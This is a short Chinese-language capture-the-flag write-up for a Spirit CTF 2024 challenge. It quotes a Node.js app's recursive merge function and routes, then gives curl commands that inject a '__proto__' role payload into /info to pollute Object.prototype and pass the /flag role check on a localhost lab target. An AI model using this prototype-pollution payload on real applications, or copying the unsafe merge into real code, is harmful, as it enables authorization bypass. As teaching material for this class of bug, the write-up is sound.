Spirit CTF 2024 题解 - nothing

查看源码,index.js里头有明显的merge构造

const updateInfo = (dest, src) => {
    for (const key in src) {
        if (
            key in dest && typeof dest[key] === "object" &&
            typeof src[key] === "object"
        ) {
            updateInfo(dest[key], src[key]);
        } else {
            dest[key] = src[key];
        }
    }
};

要构造原型链污染,目标是把/flag路由里头的user.role污染成"setsumi"

app.get("/flag", (req, res) => {
    if (!req.session.loggedIn) {
        res.redirect("/login");
        return;
    }

    if (req.session.user.role === "setsumi") {
        res.render("flag", { flag: process.env.FLAG });
        return;
    }

    res.render("flag", { error: "You are not setsumi!" });
});

user的构造位置在/register路由里头

app.post("/register", (req, res) => {
    const { username, password } = req.body;
    if (users[username]) {
        res.render("register", { error: "Username already exists" });
        return;
    }

    users[username] = { username, password }; // 注意这一行
    res.render("login", { success: "User registered successfully" });
});

于是我们往Object原型里加个值为"setsumi"的role字段就能过鉴权,入口在/info路由

curl 'http://localhost:8080/info' -X POST -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: <cookie>' --data-raw 'info={ "bio": "111", "age": "222", "__proto__": { "role": "setsumi" }}'
curl -s 'http://localhost:8080/flag' -H 'Cookie: <cookie>' | grep Spirit